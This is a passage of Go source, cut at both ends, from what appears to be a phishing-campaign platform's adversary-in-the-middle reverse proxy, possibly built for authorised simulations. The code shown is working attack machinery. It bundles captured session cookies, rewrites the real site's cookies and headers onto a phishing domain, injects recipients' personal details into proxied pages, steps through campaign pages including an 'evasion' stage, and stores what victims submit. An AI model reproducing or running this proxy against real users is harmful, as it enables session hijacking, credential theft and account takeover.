"cookie_count": len(cookieCaptures), "bundle_time": time.Now().Format(time.RFC3339), "target_domain": session.TargetDomain, "session_complete": true, "cookies": make(map[string]interface{}), } cookies := bundledData["cookies"].(map[string]interface{}) for captureName, cookieData := range cookieCaptures { cookies[captureName] = cookieData } return bundledData } func (m *ProxyHandler) applyRequestBodyReplacements(req *http.Request, session *service.ProxySession, proxyConfig *service.ProxyServiceConfigYAML) { m.applyRequestBodyReplacementsWithVariables(req, session, proxyConfig, nil) } func (m *ProxyHandler) applyRequestBodyReplacementsWithVariables(req *http.Request, session *service.ProxySession, proxyConfig *service.ProxyServiceConfigYAML, varCtx *VariablesContext) { if req.Body == nil { return } body := m.readRequestBody(req) // apply rewrite rules for the current host if hostConfig, ok := session.Config.Load(req.Host); ok { hCfg := hostConfig.(service.ProxyServiceDomainConfig) if hCfg.Rewrite != nil { for _, replacement := range hCfg.Rewrite { if replacement.From == "" || replacement.From == "request_body" || replacement.From == "any" { body = m.applyReplacementWithVariables(body, replacement, session.ID, varCtx, "") } } } } // apply global rewrite rules if proxyConfig != nil && proxyConfig.Global != nil && proxyConfig.Global.Rewrite != nil { for _, replacement := range proxyConfig.Global.Rewrite { if replacement.From == "" || replacement.From == "request_body" || replacement.From == "any" { body = m.applyReplacementWithVariables(body, replacement, session.ID, varCtx, "") } } } req.Body = io.NopCloser(bytes.NewBuffer(body)) } func (m *ProxyHandler) applyCustomReplacements(body []byte, session *service.ProxySession, targetDomain string, proxyConfig *service.ProxyServiceConfigYAML) []byte { return m.applyCustomReplacementsWithVariables(body, session, targetDomain, proxyConfig, nil, "") } func (m *ProxyHandler) applyCustomReplacementsWithVariables(body []byte, session *service.ProxySession, targetDomain string, proxyConfig *service.ProxyServiceConfigYAML, varCtx *VariablesContext, contentType string) []byte { // apply rewrite rules for the current request's target domain if hostConfig, ok := session.Config.Load(targetDomain); ok { hCfg := hostConfig.(service.ProxyServiceDomainConfig) if hCfg.Rewrite != nil { for _, replacement := range hCfg.Rewrite { if replacement.From == "" || replacement.From == "response_body" || replacement.From == "any" { body = m.applyReplacementWithVariables(body, replacement, session.ID, varCtx, contentType) } } } } // apply global rewrite rules if proxyConfig != nil && proxyConfig.Global != nil && proxyConfig.Global.Rewrite != nil { for _, replacement := range proxyConfig.Global.Rewrite { if replacement.From == "" || replacement.From == "response_body" || replacement.From == "any" { body = m.applyReplacementWithVariables(body, replacement, session.ID, varCtx, contentType) } } } return body } // applyCustomReplacementsWithoutSession applies rewrite rules for requests without session context func (m *ProxyHandler) applyCustomReplacementsWithoutSession(body []byte, config map[string]service.ProxyServiceDomainConfig, targetDomain string, proxyConfig *service.ProxyServiceConfigYAML, contentType string) []byte { // apply rewrite rules for the current target domain if hostConfig, ok := config[targetDomain]; ok { if hostConfig.Rewrite != nil { for _, replacement := range hostConfig.Rewrite { if replacement.From == "" || replacement.From == "response_body" || replacement.From == "any" { body = m.applyReplacement(body, replacement, "no-session", contentType) } } } } // apply global rewrite rules if proxyConfig != nil && proxyConfig.Global != nil && proxyConfig.Global.Rewrite != nil { for _, replacement := range proxyConfig.Global.Rewrite { if replacement.From == "" || replacement.From == "response_body" || replacement.From == "any" { body = m.applyReplacement(body, replacement, "no-session", contentType) } } } return body } func (m *ProxyHandler) applyReplacement(body []byte, replacement service.ProxyServiceReplaceRule, sessionID string, contentType string) []byte { return m.applyReplacementWithVariables(body, replacement, sessionID, nil, contentType) } // applyReplacementWithVariables applies replacement with optional template variable interpolation func (m *ProxyHandler) applyReplacementWithVariables(body []byte, replacement service.ProxyServiceReplaceRule, sessionID string, varCtx *VariablesContext, contentType string) []byte { // interpolate variables in the replacement value if enabled replaceValue := replacement.Replace if varCtx != nil && varCtx.Enabled && varCtx.Data != nil { replaceValue = m.interpolateVariables(replaceValue, varCtx) } // create a copy of the replacement with the interpolated value interpolatedReplacement := replacement interpolatedReplacement.Replace = replaceValue // default to regex engine if not specified engine := replacement.Engine if engine == "" { engine = "regex" } switch engine { case "regex": return m.applyRegexReplacement(body, interpolatedReplacement, sessionID) case "dom": return m.applyDomReplacement(body, interpolatedReplacement, sessionID, contentType) default: m.logger.Errorw("unsupported replacement engine", "engine", engine, "sessionID", sessionID) return body } } // interpolateVariables replaces only explicitly allowed template variables in a string // this uses simple string replacement to avoid destroying legitimate {{.Something}} content // in the proxied site that we don't control func (m *ProxyHandler) interpolateVariables(input string, varCtx *VariablesContext) string { if varCtx == nil || !varCtx.Enabled || varCtx.Data == nil { return input } // check if input contains any template syntax if !strings.Contains(input, "{{") { return input } result := input // determine which variables to replace var allowedVars []string if varCtx.Config != nil && len(varCtx.Config.Allowed) > 0 { // only replace explicitly allowed variables allowedVars = varCtx.Config.Allowed } else { // all variables are allowed - get keys from data map allowedVars = make([]string, 0, len(varCtx.Data)) for varName := range varCtx.Data { allowedVars = append(allowedVars, varName) } } // replace only the allowed variables with simple string replacement // this preserves any other {{.Something}} patterns in the content for _, varName := range allowedVars { if val, ok := varCtx.Data[varName]; ok { placeholder := "{{." + varName + "}}" result = strings.ReplaceAll(result, placeholder, val) } } return result } // buildVariablesContext creates a VariablesContext from session and recipient data func (m *ProxyHandler) buildVariablesContext(ctx context.Context, session *service.ProxySession, proxyConfig *service.ProxyServiceConfigYAML) *VariablesContext { // check if variables are enabled in the config if proxyConfig == nil || proxyConfig.Global == nil || proxyConfig.Global.Variables == nil || !proxyConfig.Global.Variables.Enabled { return &VariablesContext{Enabled: false} } varCtx := &VariablesContext{ Config: proxyConfig.Global.Variables, Enabled: true, Data: make(map[string]string), } // if no session or recipient ID, return empty context if session == nil || session.RecipientID == nil { return varCtx } // fetch recipient data recipientRepo := repository.Recipient{DB: m.CampaignRecipientRepository.DB} recipient, err := recipientRepo.GetByID(ctx, session.RecipientID, &repository.RecipientOption{}) if err != nil { m.logger.Debugw("failed to get recipient for variables context", "error", err, "recipientID", session.RecipientID) return varCtx } // populate recipient fields varCtx.Data["rID"] = session.ID if v, err := recipient.FirstName.Get(); err == nil { varCtx.Data["FirstName"] = v.String() } if v, err := recipient.LastName.Get(); err == nil { varCtx.Data["LastName"] = v.String() } if v, err := recipient.Email.Get(); err == nil { varCtx.Data["Email"] = v.String() varCtx.Data["To"] = v.String() // alias } if v, err := recipient.Phone.Get(); err == nil { varCtx.Data["Phone"] = v.String() } if v, err := recipient.ExtraIdentifier.Get(); err == nil { varCtx.Data["ExtraIdentifier"] = v.String() } if v, err := recipient.Position.Get(); err == nil { varCtx.Data["Position"] = v.String() } if v, err := recipient.Department.Get(); err == nil { varCtx.Data["Department"] = v.String() } if v, err := recipient.City.Get(); err == nil { varCtx.Data["City"] = v.String() } if v, err := recipient.Country.Get(); err == nil { varCtx.Data["Country"] = v.String() } if v, err := recipient.Misc.Get(); err == nil { varCtx.Data["Misc"] = v.String() } // note: sender fields (From, FromName, FromEmail, Subject) and custom fields // are not available in proxy context as they come from email templates // they are initialized as empty strings for safety varCtx.Data["From"] = "" varCtx.Data["FromName"] = "" varCtx.Data["FromEmail"] = "" varCtx.Data["Subject"] = "" varCtx.Data["BaseURL"] = "" varCtx.Data["URL"] = "" varCtx.Data["CustomField1"] = "" varCtx.Data["CustomField2"] = "" varCtx.Data["CustomField3"] = "" varCtx.Data["CustomField4"] = "" return varCtx } // getProxyConfig fetches and parses the proxy configuration for a given proxy ID func (m *ProxyHandler) getProxyConfig(ctx context.Context, proxyID *uuid.UUID) (*service.ProxyServiceConfigYAML, error) { if proxyID == nil { return nil, fmt.Errorf("proxy ID is nil") } proxyEntry, err := m.ProxyRepository.GetByID(ctx, proxyID, &repository.ProxyOption{}) if err != nil { return nil, fmt.Errorf("failed to fetch proxy config: %w", err) } proxyConfig, err := m.parseProxyConfig(proxyEntry.ProxyConfig.MustGet().String()) if err != nil { return nil, fmt.Errorf("failed to parse proxy config: %w", err) } return proxyConfig, nil } // applyRegexReplacement applies regex-based replacement func (m *ProxyHandler) applyRegexReplacement(body []byte, replacement service.ProxyServiceReplaceRule, sessionID string) []byte { re, err := regexp.Compile(replacement.Find) if err != nil { m.logger.Errorw("invalid replacement regex", "error", err, "sessionID", sessionID) return body } oldContent := string(body) content := re.ReplaceAllString(oldContent, replacement.Replace) if content != oldContent { return []byte(content) } return body } // applyDomReplacement applies DOM-based replacement func (m *ProxyHandler) applyDomReplacement(body []byte, replacement service.ProxyServiceReplaceRule, sessionID string, contentType string) []byte { // dom manipulation only works on html content // goquery wraps non-html content in ... // which corrupts js/css/json files if !strings.Contains(contentType, "text/html") { return body } doc, err := goquery.NewDocumentFromReader(strings.NewReader(string(body))) if err != nil { m.logger.Errorw("failed to parse html for dom manipulation", "error", err, "sessionID", sessionID) return body } // find elements using the selector selection := doc.Find(replacement.Find) if selection.Length() == 0 { // no elements found, return original body return body } // apply target filtering selection = m.applyTargetFilter(selection, replacement.Target) if selection.Length() == 0 { return body } switch replacement.Action { case "setText": selection.SetText(replacement.Replace) case "setHtml": selection.SetHtml(replacement.Replace) case "setAttr": // for setAttr, replace should be in format "attribute:value" parts := strings.SplitN(replacement.Replace, ":", 2) if len(parts) == 2 { selection.SetAttr(parts[0], parts[1]) } else { m.logger.Errorw("invalid setAttr replace format, expected 'attribute:value'", "replace", replacement.Replace, "sessionID", sessionID) return body } case "removeAttr": selection.RemoveAttr(replacement.Replace) case "addClass": selection.AddClass(replacement.Replace) case "removeClass": selection.RemoveClass(replacement.Replace) case "remove": selection.Remove() default: m.logger.Errorw("unsupported dom action", "action", replacement.Action, "sessionID", sessionID) return body } // get the modified html html, err := doc.Html() if err != nil { m.logger.Errorw("failed to generate html from dom document", "error", err, "sessionID", sessionID) return body } return []byte(html) } // applyTargetFilter filters the selection based on target specification func (m *ProxyHandler) applyTargetFilter(selection *goquery.Selection, target string) *goquery.Selection { if target == "" || target == "all" { return selection } length := selection.Length() if length == 0 { return selection } switch target { case "first": return selection.First() case "last": return selection.Last() default: // handle numeric patterns like "1,3,5" or "2-4" if matched, _ := regexp.MatchString(`^(\d+,)*\d+$`, target); matched { // comma-separated list like "1,3,5" indices := strings.Split(target, ",") var filteredSelection *goquery.Selection for _, indexStr := range indices { if index, err := strconv.Atoi(strings.TrimSpace(indexStr)); err == nil { // convert to 0-based index if index > 0 && index <= length { element := selection.Eq(index - 1) if filteredSelection == nil { filteredSelection = element } else { filteredSelection = filteredSelection.AddSelection(element) } } } } if filteredSelection != nil { return filteredSelection } } else if matched, _ := regexp.MatchString(`^\d+-\d+$`, target); matched { // range like "2-4" parts := strings.Split(target, "-") if len(parts) == 2 { start, err1 := strconv.Atoi(strings.TrimSpace(parts[0])) end, err2 := strconv.Atoi(strings.TrimSpace(parts[1])) if err1 == nil && err2 == nil && start > 0 && end >= start { var filteredSelection *goquery.Selection for i := start; i <= end && i <= length; i++ { element := selection.Eq(i - 1) if filteredSelection == nil { filteredSelection = element } else { filteredSelection = filteredSelection.AddSelection(element) } } if filteredSelection != nil { return filteredSelection } } } } } // fallback to all if target is invalid return selection } func (m *ProxyHandler) processCookiesForPhishingDomain(resp *http.Response, ps *service.ProxySession) { cookies := resp.Cookies() if len(cookies) == 0 { return } phishDomain := ps.Domain.Name targetDomain, err := m.getTargetDomainForPhishingDomain(phishDomain) if err != nil { m.logger.Errorw("failed to get target domain for cookie processing", "error", err, "phishDomain", phishDomain) return } tempConfig := map[string]service.ProxyServiceDomainConfig{ targetDomain: {To: phishDomain}, } resp.Header.Del("Set-Cookie") for _, ck := range cookies { m.adjustCookieSettings(ck, nil, resp) m.rewriteCookieDomain(ck, tempConfig, resp) resp.Header.Add("Set-Cookie", ck.String()) } } func (m *ProxyHandler) adjustCookieSettings(ck *http.Cookie, session *service.ProxySession, resp *http.Response) { if ck.Secure { ck.SameSite = http.SameSiteNoneMode } else if ck.SameSite == http.SameSiteDefaultMode { ck.SameSite = http.SameSiteLaxMode } // handle cookie expiration parsing if len(ck.RawExpires) > 0 && ck.Expires.IsZero() { if exptime, err := time.Parse(time.RFC850, ck.RawExpires); err == nil { ck.Expires = exptime } else if exptime, err := time.Parse(time.ANSIC, ck.RawExpires); err == nil { ck.Expires = exptime } else if exptime, err := time.Parse("Monday, 02-Jan-2006 15:04:05 MST", ck.RawExpires); err == nil { ck.Expires = exptime } } } func (m *ProxyHandler) rewriteCookieDomain(ck *http.Cookie, config map[string]service.ProxyServiceDomainConfig, resp *http.Response) { cDomain := ck.Domain if cDomain == "" { cDomain = resp.Request.Host } else if cDomain[0] != '.' { cDomain = "." + cDomain } if phishHost := m.replaceHostWithPhished(strings.TrimPrefix(cDomain, "."), config); phishHost != "" { if strings.HasPrefix(cDomain, ".") { ck.Domain = "." + phishHost } else { ck.Domain = phishHost } } else { ck.Domain = cDomain } } func (m *ProxyHandler) sameSiteToString(sameSite http.SameSite) string { switch sameSite { case http.SameSiteDefaultMode: return "Default" case http.SameSiteLaxMode: return "Lax" case http.SameSiteStrictMode: return "Strict" case http.SameSiteNoneMode: return "None" default: return fmt.Sprintf("Unknown(%d)", int(sameSite)) } } func (m *ProxyHandler) getCampaignRecipientIDFromURLParams(req *http.Request) (*uuid.UUID, string) { ctx := req.Context() campaignRecipient, paramName, err := server.GetCampaignRecipientFromURLParams( ctx, req, m.IdentifierRepository, m.CampaignRecipientRepository, ) if err != nil { m.logger.Errorw("failed to get identifiers for URL param extraction", "error", err) return nil, "" } if campaignRecipient == nil { return nil, "" } campaignRecipientID := campaignRecipient.ID.MustGet() return &campaignRecipientID, paramName } // applyEarlyRequestHeaderReplacements applies request header replacements before client creation // this is necessary for impersonation to work correctly with custom user-agent replacements func (m *ProxyHandler) applyEarlyRequestHeaderReplacements(req *http.Request, reqCtx *RequestContext) { // only apply if we have proxy config if reqCtx.ProxyConfig == nil { return } // helper function to apply replacement rules applyReplacements := func(replacements []service.ProxyServiceReplaceRule) { for _, replacement := range replacements { if replacement.From == "" || replacement.From == "request_header" || replacement.From == "any" { engine := replacement.Engine if engine == "" { engine = "regex" } if engine == "regex" { re, err := regexp.Compile(replacement.Find) if err != nil { m.logger.Errorw("invalid early request_header replacement regex", "error", err) continue } // check if this is a header deletion rule (empty replace) isDelete := replacement.Replace == "" // collect headers to delete (can't modify map while iterating) var headersToDelete []string for headerName, values := range req.Header { fullHeader := headerName + ": " + values[0] if re.MatchString(fullHeader) && isDelete { // mark header for deletion headersToDelete = append(headersToDelete, headerName) continue } newValues := make([]string, 0, len(values)) for _, val := range values { fullHeader := headerName + ": " + val replaced := re.ReplaceAllString(fullHeader, replacement.Replace) if strings.HasPrefix(replaced, headerName+": ") { newVal := replaced[len(headerName)+2:] newValues = append(newValues, newVal) } else if replaced != fullHeader { m.logger.Warnw("header name changed by early replacement, skipping", "original", headerName) newValues = append(newValues, val) } else { newValues = append(newValues, val) } } req.Header[headerName] = newValues } // delete marked headers for _, headerName := range headersToDelete { req.Header.Del(headerName) } } } } } // apply global rewrite rules first if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.Rewrite != nil { applyReplacements(reqCtx.ProxyConfig.Global.Rewrite) } // apply request_header replacements only for the current target domain if reqCtx.ProxyConfig.Hosts != nil { if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig != nil && domainConfig.Rewrite != nil { applyReplacements(domainConfig.Rewrite) } } } // Header normalization methods func (m *ProxyHandler) normalizeRequestHeaders(req *http.Request, session *service.ProxySession) { configMap := m.configToMap(&session.Config) // fix origin header if origin := req.Header.Get("Origin"); origin != "" { if oURL, err := url.Parse(origin); err == nil { if rHost := m.replaceHostWithOriginal(oURL.Host, configMap); rHost != "" { oURL.Host = rHost req.Header.Set("Origin", oURL.String()) } } } // fix referer header if referer := req.Header.Get("Referer"); referer != "" { if rURL, err := url.Parse(referer); err == nil { if rHost := m.replaceHostWithOriginal(rURL.Host, configMap); rHost != "" { rURL.Host = rHost req.Header.Set("Referer", rURL.String()) } } } // prevent caching and fix headers req.Header.Set("Cache-Control", "no-cache") if secFetchDest := req.Header.Get("Sec-Fetch-Dest"); secFetchDest == "iframe" { req.Header.Set("Sec-Fetch-Dest", "document") } if req.Body != nil && (req.Method == "POST" || req.Method == "PUT" || req.Method == "PATCH") { if req.Header.Get("Content-Length") == "" && req.ContentLength > 0 { req.Header.Set("Content-Length", fmt.Sprintf("%d", req.ContentLength)) } } } func (m *ProxyHandler) readAndDecompressBody(resp *http.Response, usedImpersonation bool) ([]byte, bool, error) { body, err := io.ReadAll(resp.Body) if err != nil { return nil, false, err } m.logger.Debugw("read response body", "bodySize", len(body), "contentLength", resp.ContentLength, "contentEncoding", resp.Header.Get("Content-Encoding"), ) encoding := resp.Header.Get("Content-Encoding") switch strings.ToLower(encoding) { case "gzip": gzipReader, err := gzip.NewReader(bytes.NewBuffer(body)) if err != nil { // body is already decompressed (e.g., by surf's decodeBodyMW middleware) // remove the Content-Encoding header and send uncompressed to client m.logger.Debugw("gzip decompression failed, body already decompressed - removing content-encoding header", "error", err, "content-encoding", encoding, "bodySize", len(body), ) resp.Header.Del("Content-Encoding") return body, false, nil } defer gzipReader.Close() decompressed, err := io.ReadAll(gzipReader) if err != nil { // if reading fails, body might be already decompressed m.logger.Debugw("gzip read failed, body already decompressed - removing content-encoding header", "error", err, "bodySize", len(body), ) resp.Header.Del("Content-Encoding") return body, false, nil } m.logger.Debugw("successfully decompressed gzip body", "compressedSize", len(body), "decompressedSize", len(decompressed), ) return decompressed, true, nil case "deflate": deflateReader := flate.NewReader(bytes.NewBuffer(body)) defer deflateReader.Close() decompressed, err := io.ReadAll(deflateReader) if err != nil { // body is already decompressed - remove header and send uncompressed m.logger.Debugw("deflate decompression failed, body already decompressed - removing content-encoding header", "error", err, ) resp.Header.Del("Content-Encoding") return body, false, nil } return decompressed, true, nil case "br": // surf automatically decompresses br, but keeps the content-encoding header // try to decompress, and if it fails, assume surf already decompressed brReader := brotli.NewReader(bytes.NewBuffer(body)) decompressed, err := io.ReadAll(brReader) if err != nil { // body is already decompressed (e.g., by surf's decodeBodyMW middleware) // remove the Content-Encoding header and send uncompressed to client m.logger.Debugw("brotli decompression failed, body already decompressed - removing content-encoding header", "error", err, ) resp.Header.Del("Content-Encoding") return body, false, nil } m.logger.Debugw("successfully decompressed brotli body", "compressedSize", len(body), "decompressedSize", len(decompressed), ) return decompressed, true, nil case "zstd": // surf automatically decompresses zstd, but keeps the content-encoding header // try to decompress, and if it fails, assume surf already decompressed zstdReader, err := zstd.NewReader(bytes.NewBuffer(body)) if err != nil { // body is already decompressed (e.g., by surf's decodeBodyMW middleware) // remove the Content-Encoding header and send uncompressed to client m.logger.Debugw("zstd reader creation failed, body already decompressed - removing content-encoding header", "error", err, ) resp.Header.Del("Content-Encoding") return body, false, nil } defer zstdReader.Close() decompressed, err := io.ReadAll(zstdReader) if err != nil { // body is already decompressed - remove header and send uncompressed m.logger.Debugw("zstd decompression failed, body already decompressed - removing content-encoding header", "error", err, ) resp.Header.Del("Content-Encoding") return body, false, nil } m.logger.Debugw("successfully decompressed zstd body", "compressedSize", len(body), "decompressedSize", len(decompressed), ) return decompressed, true, nil default: // no encoding or unknown encoding - return as-is return body, false, nil } } func (m *ProxyHandler) updateResponseBody(resp *http.Response, body []byte, wasCompressed bool) { m.logger.Debugw("updateResponseBody called", "bodySize", len(body), "wasCompressed", wasCompressed, "contentEncoding", resp.Header.Get("Content-Encoding"), ) if wasCompressed { encoding := resp.Header.Get("Content-Encoding") if encoding == "" { // encoding was removed because body was already decompressed // don't try to recompress, just set uncompressed body m.logger.Debugw("no content-encoding header, sending uncompressed body") resp.Body = io.NopCloser(bytes.NewReader(body)) resp.ContentLength = int64(len(body)) resp.Header.Set("Content-Length", fmt.Sprintf("%d", len(body))) return } switch strings.ToLower(encoding) { case "gzip": var compressedBuffer bytes.Buffer gzipWriter := gzip.NewWriter(&compressedBuffer) if _, err := gzipWriter.Write(body); err != nil { m.logger.Errorw("failed to write gzip compressed body", "error", err) } if err := gzipWriter.Close(); err != nil { m.logger.Errorw("failed to close gzip writer", "error", err) } body = compressedBuffer.Bytes() m.logger.Debugw("recompressed body with gzip", "decompressedSize", len(body), "compressedSize", compressedBuffer.Len(), ) case "deflate": var compressedBuffer bytes.Buffer deflateWriter, err := flate.NewWriter(&compressedBuffer, flate.DefaultCompression) if err != nil { m.logger.Errorw("failed to create deflate writer", "error", err) break } if _, err := deflateWriter.Write(body); err != nil { m.logger.Errorw("failed to write deflate compressed body", "error", err) } if err := deflateWriter.Close(); err != nil { m.logger.Errorw("failed to close deflate writer", "error", err) } body = compressedBuffer.Bytes() case "br": // only recompress br/zstd when using impersonation // non-impersonation path should never have these encodings var compressedBuffer bytes.Buffer brWriter := brotli.NewWriter(&compressedBuffer) if _, err := brWriter.Write(body); err != nil { m.logger.Errorw("failed to write brotli compressed body", "error", err) } if err := brWriter.Close(); err != nil { m.logger.Errorw("failed to close brotli writer", "error", err) } body = compressedBuffer.Bytes() m.logger.Debugw("recompressed body with brotli", "decompressedSize", len(body), "compressedSize", compressedBuffer.Len(), ) case "zstd": // only recompress br/zstd when using impersonation // non-impersonation path should never have these encodings var compressedBuffer bytes.Buffer zstdWriter, err := zstd.NewWriter(&compressedBuffer) if err != nil { m.logger.Errorw("failed to create zstd writer", "error", err) break } if _, err := zstdWriter.Write(body); err != nil { m.logger.Errorw("failed to write zstd compressed body", "error", err) } if err := zstdWriter.Close(); err != nil { m.logger.Errorw("failed to close zstd writer", "error", err) } body = compressedBuffer.Bytes() m.logger.Debugw("recompressed body with zstd", "decompressedSize", len(body), "compressedSize", compressedBuffer.Len(), ) } } resp.Body = io.NopCloser(bytes.NewReader(body)) resp.ContentLength = int64(len(body)) resp.Header.Set("Content-Length", fmt.Sprintf("%d", len(body))) // ensure Content-Encoding is removed if we're sending uncompressed if !wasCompressed && resp.Header.Get("Content-Encoding") != "" { m.logger.Debugw("removing content-encoding header for uncompressed body") resp.Header.Del("Content-Encoding") } m.logger.Debugw("updated response body", "finalBodySize", len(body), "contentLength", resp.ContentLength, "contentEncoding", resp.Header.Get("Content-Encoding"), ) } func (m *ProxyHandler) shouldProcessContent(contentType string) bool { processTypes := []string{"text/html", "application/javascript", "application/x-javascript", "text/javascript", "text/css", "application/json"} for _, pType := range processTypes { if strings.Contains(contentType, pType) { return true } } return false } func (m *ProxyHandler) handleImmediateCampaignRedirect(session *service.ProxySession, resp *http.Response, req *http.Request, captureLocation string) { m.handleCampaignFlowProgression(session, req) nextPageType := session.NextPageType.Load().(string) if nextPageType == "" { return } redirectURL := m.buildCampaignFlowRedirectURL(session, nextPageType) if redirectURL == "" { return } resp.StatusCode = 302 resp.Status = "302 Found" resp.Header.Set("Location", redirectURL) resp.Header.Set("Content-Length", "0") resp.Header.Set("Cache-Control", "no-cache, no-store, must-revalidate") resp.Body = io.NopCloser(bytes.NewReader([]byte{})) session.NextPageType.Store("") } func (m *ProxyHandler) handleCampaignFlowProgression(session *service.ProxySession, req *http.Request) { if session.CampaignRecipientID == nil || session.CampaignID == nil { return } ctx := req.Context() templateID, err := session.Campaign.TemplateID.Get() if err != nil { m.logger.Errorw("failed to get template ID for campaign flow progression", "error", err) return } cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{}) if err != nil { m.logger.Errorw("failed to get campaign template for flow progression", "error", err, "templateID", templateID) return } currentPageType := m.getCurrentPageType(req, cTemplate, session) nextPageType := m.getNextPageType(currentPageType, cTemplate) if nextPageType != data.PAGE_TYPE_DONE && nextPageType != currentPageType && session.IsComplete.Load() { session.NextPageType.Store(nextPageType) } } func (m *ProxyHandler) getCurrentPageType(req *http.Request, template *model.CampaignTemplate, session *service.ProxySession) string { if template.StateIdentifier != nil { stateParamKey := template.StateIdentifier.Name.MustGet() encryptedParam := req.URL.Query().Get(stateParamKey) if encryptedParam != "" && session.CampaignID != nil { secret := utils.UUIDToSecret(session.CampaignID) if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { return decrypted } } } if template.URLIdentifier != nil { urlParamKey := template.URLIdentifier.Name.MustGet() campaignRecipientIDParam := req.URL.Query().Get(urlParamKey) if campaignRecipientIDParam != "" { if _, errPage := template.BeforeLandingPageID.Get(); errPage == nil { return data.PAGE_TYPE_BEFORE } if _, errProxy := template.BeforeLandingProxyID.Get(); errProxy == nil { return data.PAGE_TYPE_BEFORE } return data.PAGE_TYPE_LANDING } } return data.PAGE_TYPE_LANDING } func (m *ProxyHandler) getNextPageType(currentPageType string, template *model.CampaignTemplate) string { switch currentPageType { case data.PAGE_TYPE_EVASION: if _, errPage := template.BeforeLandingPageID.Get(); errPage == nil { return data.PAGE_TYPE_BEFORE } if _, errProxy := template.BeforeLandingProxyID.Get(); errProxy == nil { return data.PAGE_TYPE_BEFORE } return data.PAGE_TYPE_LANDING case data.PAGE_TYPE_BEFORE: return data.PAGE_TYPE_LANDING case data.PAGE_TYPE_LANDING: if _, errPage := template.AfterLandingPageID.Get(); errPage == nil { return data.PAGE_TYPE_AFTER } if _, errProxy := template.AfterLandingProxyID.Get(); errProxy == nil { return data.PAGE_TYPE_AFTER } return data.PAGE_TYPE_DONE case data.PAGE_TYPE_AFTER: return data.PAGE_TYPE_DONE default: return data.PAGE_TYPE_DONE } } func (m *ProxyHandler) shouldRedirectForCampaignFlow(session *service.ProxySession, req *http.Request) bool { nextPageTypeStr := session.NextPageType.Load().(string) return nextPageTypeStr != "" && nextPageTypeStr != data.PAGE_TYPE_DONE && session.IsComplete.Load() } func (m *ProxyHandler) createCampaignFlowRedirect(session *service.ProxySession, resp *http.Response) *http.Response { if resp == nil { return nil } nextPageTypeStr := session.NextPageType.Load().(string) session.NextPageType.Store("") redirectURL := m.buildCampaignFlowRedirectURL(session, nextPageTypeStr) if redirectURL == "" { return resp } redirectResp := &http.Response{ StatusCode: 302, Header: make(http.Header), Body: io.NopCloser(bytes.NewReader([]byte{})), Request: resp.Request, } redirectResp.Header.Set("Location", redirectURL) redirectResp.Header.Set("Content-Length", "0") return redirectResp } func (m *ProxyHandler) buildCampaignFlowRedirectURL(session *service.ProxySession, nextPageType string) string { if session.CampaignRecipientID == nil || session.Campaign == nil { return "" } templateID, err := session.Campaign.TemplateID.Get() if err != nil { m.logger.Errorw("failed to get template ID for redirect URL", "error", err) return "" } ctx := context.Background() cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ WithDomain: true, WithIdentifier: true, }) if err != nil { m.logger.Errorw("failed to get campaign template for redirect URL", "error", err, "templateID", templateID) return "" } var targetURL string var usesTemplateDomain bool switch nextPageType { case data.PAGE_TYPE_LANDING: if _, err := cTemplate.LandingPageID.Get(); err == nil { usesTemplateDomain = true } case data.PAGE_TYPE_AFTER: if _, err := cTemplate.AfterLandingPageID.Get(); err == nil { usesTemplateDomain = true } case "deny": // deny pages should use template domain if available usesTemplateDomain = true default: if redirectURL, err := cTemplate.AfterLandingPageRedirectURL.Get(); err == nil { if url := redirectURL.String(); len(url) > 0 { return url } } } if usesTemplateDomain && cTemplate.Domain != nil { domainName, err := cTemplate.Domain.Name.Get() if err != nil { m.logger.Errorw("failed to get domain name for redirect URL", "error", err) return "" } if urlPath, err := cTemplate.URLPath.Get(); err == nil { targetURL = fmt.Sprintf("https://%s%s", domainName, urlPath.String()) } else { targetURL = fmt.Sprintf("https://%s/", domainName) } } else if session.Domain != nil { targetURL = fmt.Sprintf("https://%s/", session.Domain.Name) } if targetURL == "" { return "" } // add campaign parameters if cTemplate.URLIdentifier != nil && cTemplate.StateIdentifier != nil { urlParamKey := cTemplate.URLIdentifier.Name.MustGet() stateParamKey := cTemplate.StateIdentifier.Name.MustGet() secret := utils.UUIDToSecret(session.CampaignID) encryptedPageType, err := utils.Encrypt(nextPageType, secret) if err != nil { m.logger.Errorw("failed to encrypt page type for redirect URL", "error", err, "pageType", nextPageType) return "" } separator := "?" if strings.Contains(targetURL, "?") { separator = "&" } targetURL = fmt.Sprintf("%s%s%s=%s&%s=%s", targetURL, separator, urlParamKey, session.CampaignRecipientID.String(), stateParamKey, encryptedPageType, ) } return targetURL } func (m *ProxyHandler) createCampaignSubmitEvent(session *service.ProxySession, capturedData map[string]interface{}, req *http.Request, originalUserAgent string) { if session.CampaignID == nil || session.CampaignRecipientID == nil { return } ctx := context.Background() // use campaign from session if available, otherwise fetch campaign := session.Campaign if campaign == nil { var err error campaign, err = m.CampaignRepository.GetByID(ctx, session.CampaignID, &repository.CampaignOption{}) if err != nil { m.logger.Errorw("failed to get campaign for proxy capture event", "error", err) return } } // save captured data only if SaveSubmittedData is enabled var submittedDataJSON []byte var err error if campaign.SaveSubmittedData.MustGet() { submittedDataJSON, err = json.Marshal(capturedData) if err != nil { m.logger.Errorw("failed to marshal captured data for campaign event", "error", err) return } } else { // save empty data but still record the capture event submittedDataJSON = []byte("{}") } submitDataEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] eventID := uuid.New() // use the event creation below instead of service call clientIP := utils.ExtractClientIP(req) metadata := model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) event := &model.CampaignEvent{ ID: &eventID, CampaignID: session.CampaignID, RecipientID: session.RecipientID, EventID: submitDataEventID, Data: vo.NewOptionalString1MBMust(string(submittedDataJSON)), Metadata: metadata, IP: vo.NewOptionalString64Must(clientIP), UserAgent: vo.NewOptionalString255Must(originalUserAgent), } err = m.CampaignRepository.SaveEvent(ctx, event) if err != nil { m.logger.Errorw("failed to create campaign submit event", "error", err) } // handle webhook for submitted data event webhookID, err := m.CampaignRepository.GetWebhookIDByCampaignID(ctx, session.CampaignID) if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) { m.logger.Errorw("failed to get webhook id by campaign id for MITM proxy 